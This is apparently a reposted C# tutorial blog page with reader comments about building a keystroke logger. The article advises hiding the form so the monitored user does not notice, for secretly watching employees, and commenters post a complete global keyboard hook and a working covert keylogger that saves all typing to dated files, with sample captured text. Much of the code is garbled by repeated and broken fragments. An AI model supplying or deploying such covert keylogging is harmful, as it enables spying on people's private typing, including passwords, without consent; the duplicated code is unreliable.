In this article, I'll explain an easy but an important concept of how to catch user pressed keys and write them into a log file.
Download Files:
Overview
In this article, I'll explain an easy but an important concept of how to catch user pressed keys and write them into a log file.
Description
Often you need to know what kind of key combination your final user has pressed, to know if theyre doing the things in the right way, or just to know what theyre writing as they are using the computer. Once, one client asked me to monitor the activity of his employees, to see if they were working when he was away.
Obviously I cant write an example like that, I dont have enough room, but I reckon that thisexample will be useful to understand how to write a more difficult one.
We need a form, just put a listbox, just to see whats happening.

now lets set the KeyPreview Property of the form on true, so that well be able to catch keys.

ok, now lets write some code in the KeyUp Event.private void Form1_KeyUp(object sender, System.Windows.Forms.KeyEventArgs e){listBox1.Items.Add(e.KeyCode);StreamWriter sw = new StreamWriter(@"C:\Prova.txt",true);sw.Write(e.KeyCode);sw.Close();}
listBox1.Items.Add(e.KeyCode);
this line of code is to see keys pressed in the listbox;
then lets write the pressed keys in a text file:
//Open or Create the file if doesnt existStreamWriter sw = new StreamWriter(@"C:\Prova.txt",true);//Write into the filesw.Write(e.KeyCode);//Close the file.sw.Close();
Finally, I have a very good tip in order to use the application, without the user knowing.
We need to set the Opacity Property of the form on 0%, and to set ShowInTaskBar on False otherwise the user will know something is up.
Before:

after:

In this article, I'll explain an easy but an important concept of how to catch user pressed keys and write them into a log file.
Description
Often you need to know what kind of key combination your final user has pressed, to know if theyre doing the things in the right way, or just to know what theyre writing as they are using the computer. Once, one client asked me to monitor the activity of his employees, to see if they were working when he was away.
Obviously I cant write an example like that, I dont have enough room, but I reckon that thisexample will be useful to understand how to write a more difficult one.
We need a form, just put a listbox, just to see whats happening.

now lets set the KeyPreview Property of the form on true, so that well be able to catch keys.

ok, now lets write some code in the KeyUp Event.private void Form1_KeyUp(object sender, System.Windows.Forms.KeyEventArgs e){listBox1.Items.Add(e.KeyCode);StreamWriter sw = new StreamWriter(@"C:\Prova.txt",true);sw.Write(e.KeyCode);sw.Close();}
listBox1.Items.Add(e.KeyCode);
this line of code is to see keys pressed in the listbox;
then lets write the pressed keys in a text file:
//Open or Create the file if doesnt existStreamWriter sw = new StreamWriter(@"C:\Prova.txt",true);//Write into the filesw.Write(e.KeyCode);//Close the file.sw.Close();
Finally, I have a very good tip in order to use the application, without the user knowing.
We need to set the Opacity Property of the form on 0%, and to set ShowInTaskBar on False otherwise the user will know something is up.
Before:

after:

Enjoy !!!
ARTICLE EXTENSIONS

Hi Michael,
I just followed ur post and indeed it works fine except that all the logged keystrokes are in upper case, and by digging hard, i just found the solution, probably your already find a way get around it, but i just would like to share it with the other folks on the internet.
Note: The code is based on the below link and changed according my personal needs:
http://www.koders.com/csharp/fidFB1A96705EC8BC4D6B606F8BA13778C9CAA21F63.aspx?s=button
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Utilities
{
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook
{
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
{
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook
{
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
public bool _hookAll = false;
public bool HookAllKeys
{
get
{
return _hookAll;
}
set
{
_hookAll = value;
}
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_KEYPRESS = 0x102;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
const int WM_SYSKEYPRESS = 0x0106;
public bool HookAllKeys
{
get
{
return _hookAll;
}
set
{
_hookAll = value;
}
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_KEYPRESS = 0x102;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
const int WM_SYSKEYPRESS = 0x0106;
/// <summary>
/// windows virtual key codes
/// </summary>
private const byte VK_RETURN = 0X0D; //Enter
private const byte VK_SPACE = 0X20; //Space
private const byte VK_SHIFT = 0x10;
private const byte VK_CAPITAL = 0x14;
/// windows virtual key codes
/// </summary>
private const byte VK_RETURN = 0X0D; //Enter
private const byte VK_SPACE = 0X20; //Space
private const byte VK_SHIFT = 0x10;
private const byte VK_CAPITAL = 0x14;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
keyboardHookProc khp;
#endregion
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
keyboardHookProc khp;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyPressEventHandler KeyPress;
#endregion
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyPressEventHandler KeyPress;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
khp = new keyboardHookProc(hookProc);
hook();
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook()
{
unhook();
}
#endregion
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
khp = new keyboardHookProc(hookProc);
hook();
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook()
{
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, khp, hInstance, 0);
}
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, khp, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook()
{
UnhookWindowsHookEx(hhook);
}
/// Uninstalls the global hook
/// </summary>
public void unhook()
{
UnhookWindowsHookEx(hhook);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
if (wParam == WM_KEYDOWN)
{
byte[] keyState = new byte[256];
GetKeyboardState(keyState);
byte[] inBuffer = new byte[2];
if (ToAscii(lParam.vkCode, lParam.scanCode, keyState, inBuffer, lParam.flags) == 1)
{
char key = (char)inBuffer[0];
bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false);
bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
if ((isDownCapslock ^ isDownShift) && Char.IsLetter(key))
{
key = Char.ToUpper(key);
}
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
if (wParam == WM_KEYDOWN)
{
byte[] keyState = new byte[256];
GetKeyboardState(keyState);
byte[] inBuffer = new byte[2];
if (ToAscii(lParam.vkCode, lParam.scanCode, keyState, inBuffer, lParam.flags) == 1)
{
char key = (char)inBuffer[0];
bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false);
bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
if ((isDownCapslock ^ isDownShift) && Char.IsLetter(key))
{
key = Char.ToUpper(key);
}
if (KeyPress != null)
{
KeyPressEventArgs e = new KeyPressEventArgs(key);
KeyPress(this, e);
if (e.Handled)
return 1;
}
}
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
{
KeyPressEventArgs e = new KeyPressEventArgs(key);
KeyPress(this, e);
if (e.Handled)
return 1;
}
}
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
/// <summary>
///
/// </summary>
/// <param name="pbKeyState"></param>
/// <returns></returns>
[DllImport("user32")]
private static extern int GetKeyboardState(byte[] pbKeyState);
///
/// </summary>
/// <param name="pbKeyState"></param>
/// <returns></returns>
[DllImport("user32")]
private static extern int GetKeyboardState(byte[] pbKeyState);
/// <summary>
///
/// </summary>
/// <param name="uVirtKey"></param>
/// <param name="uScanCode"></param>
/// <param name="lpbKeyState"></param>
/// <param name="lpwTransKey"></param>
/// <param name="fuState"></param>
/// <returns></returns>
[DllImport("user32")]
private static extern int ToAscii(
int uVirtKey,
int uScanCode,
byte[] lpbKeyState,
byte[] lpwTransKey,
int fuState);
///
/// </summary>
/// <param name="uVirtKey"></param>
/// <param name="uScanCode"></param>
/// <param name="lpbKeyState"></param>
/// <param name="lpwTransKey"></param>
/// <param name="fuState"></param>
/// <returns></returns>
[DllImport("user32")]
private static extern int ToAscii(
int uVirtKey,
int uScanCode,
byte[] lpbKeyState,
byte[] lpwTransKey,
int fuState);
/// <summary>
///
/// </summary>
/// <param name="vKey"></param>
/// <returns></returns>
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern short GetKeyState(int vKey);
#endregion
}
}
///
/// </summary>
/// <param name="vKey"></param>
/// <returns></returns>
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
private static extern short GetKeyState(int vKey);
#endregion
}
}
Added by Andie Du on Mar 31, 2011

I know this original post is slightly aged, but this reply is for bug me, or anyone who wants to know:
on the keydown event:
case Keys.Space:
SW.Write(" ");
break;
case Keys.Enter:
SW.Write(Environment.NewLine);
break;
case Keys.LShiftKey:
SW.Write("{SHIFT}");
break;
default:
if (Control.ModifierKeys != Keys.Shift)
SW.Write(e.KeyCode.ToString().ToLower());
else
SW.Write(e.KeyCode);
break;
Also, I prefer to have using statements, as such:
using (StreamWriter SW = new StreamWriter(@"c:\temp\Keylogger " + now.Month + "-" + now.Day + ".txt", true))
Also, for the file:
rather than constantly overwrite the file, try something like this:
using (StreamWriter SW = new StreamWriter("Keylogger " + DateTime.Now + ".txt", true))
and completely remove the if file exists then delete statements
My final code looked like this (before making adjustments for... more advanced features)
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Utilities;
using System.IO;
namespace watcher
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
globalKeyboardHook gkh = new globalKeyboardHook();
private void HookAll()
{
foreach (object key in Enum.GetValues(typeof(Keys)))
{
gkh.HookedKeys.Add((Keys)key);
}
}
private void Form1_Load(object sender, EventArgs e)
{
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
HookAll();
}
void gkh_KeyDown(object sender, KeyEventArgs e)
{
DateTime now = DateTime.Now;
using (StreamWriter SW = new StreamWriter(@"c:\temp\Keylogger " + now.Month + "-" + now.Day + ".txt", true))
{
switch (e.KeyCode)
{
case Keys.Space:
SW.Write(" ");
break;
case Keys.Enter:
SW.Write(Environment.NewLine);
break;
case Keys.LShiftKey:
SW.Write("{SHIFT}");
break;
default:
if (Control.ModifierKeys != Keys.Shift)
SW.Write(e.KeyCode.ToString().ToLower());
else
SW.Write(e.KeyCode);
break;
}
SW.Close();
}
}
}
}
Output example:
{SHIFT}UPPER lower enter
enter complete {SHIFT}{SHIFT}UPPER TEST{SHIFT}F5
This of course uses the keyboardhook bug me was so nice to include, which is what I was after when I came looking here.
For those of you saying it doesn't work:
Please make sure you grab the cs file from bug me, and add to your project (you may have to open it within your project before it will start working)
EDIT:
Had to add in some more cases:
case Keys.OemPeriod:
SW.Write(".");
break;
case Keys.LMenu:
SW.Write("{ALT}");
break;
case Keys.Oem7:
SW.Write("'");
break;
case Keys.Oemcomma:
SW.Write(",");
break;
You will most likely find that there are many more that need to be added, but after this, here's is what I get:
{SHIFT}Give me a little bit. {SHIFT}I'll look at it later.
{SHIFT}Including {SHIFT}Arsalan, a member of our {SHIFT}Citrix group. {SHIFT}He has some questions about the {SHIFT}Citrix server setup for the utility.lcontrolkey
{SHIFT}F5
Added by Justin Mangum on Jan 10, 2011

Hi Joe, I saw your comment and decided to reply; For this to capture keys when the form is not in focus, you need a Keyboard hook. Fortunately I have one on me and am willing to share it.
The file is included in this post
You'll need this code and to add it to your project solution. Then in the namespace (Form1.cs), add this line:
using Utilities;
When you've done, add this code:
public Form1() { InitializeComponent(); } globalKeyboardHook gkh = new globalKeyboardHook(); private void HookAll() { foreach (object key in Enum.GetValues(typeof(Keys))) { gkh.HookedKeys.Add((Keys)key); } } private void Form1_Load(object sender, EventArgs e) { gkh.KeyDown += new KeyEventHandler(gkh_KeyDown); HookAll(); if (File.Exists(@"Keylogger.txt")) { File.Delete(@"Keylogger.txt"); } } void gkh_KeyDown(object sender, KeyEventArgs e) { StreamWriter SW = new StreamWriter(@"Keylogger.txt", true); SW.Write(e.KeyCode); SW.Close(); }It should write a line of code to Keylogger.txt in the source folder.
This will work when the form is minimized.
That said, here's my trouble:
After reading the text file after the keylogging occurred, i noticed it had the words all in Upper Case, and for punctuation such as SPACE or ENTER, the word space and enter was used.
Any thoughts on this?
Thanks
Download File: globalKeyboardHook.zip
Added by Michael Braun on Mar 26, 2010

Hi I'm Joe, I love what you have created but i have a few questions, At the moment it can onyly log keys when the form is in f, Is there a way of capturing the leys being pressed when the form is not in focus? like catching the keys, when the form is befind the application in in program etc?
I am a good programmer but not brillian so when you aply can you please keep is simple thank you,
code so far
private void frmMain_KeyUp(object sender, KeyEventArgs e)
{
string kcode = (Convert.ToString(e.KeyCode));
string tm = (Convert.ToString(DateTime.Now));
ListViewItem item = new ListViewItem();
lvView.Items.Add(item);
item.Checked = false;
item.SubItems.Add(kcode);
item.SubItems.Add(tm);
lvKeys.Items.Add(e.KeyCode);
// Open or Create the file if doesnt exist
StreamWriter sw = new StreamWriter(@"f:\Prova.txt", true);
// Write into the file
sw.Write(e.KeyCode);
// Close the file.
sw.Close();
}
thank you again
I am a good programmer but not brillian so when you aply can you please keep is simple thank you,
code so far
private void frmMain_KeyUp(object sender, KeyEventArgs e)
{
string kcode = (Convert.ToString(e.KeyCode));
string tm = (Convert.ToString(DateTime.Now));
ListViewItem item = new ListViewItem();
lvView.Items.Add(item);
item.Checked = false;
item.SubItems.Add(kcode);
item.SubItems.Add(tm);
lvKeys.Items.Add(e.KeyCode);
// Open or Create the file if doesnt exist
StreamWriter sw = new StreamWriter(@"f:\Prova.txt", true);
// Write into the file
sw.Write(e.KeyCode);
// Close the file.
sw.Close();
}
thank you again


0 comments:
Post a Comment
Note: only a member of this blog may post a comment.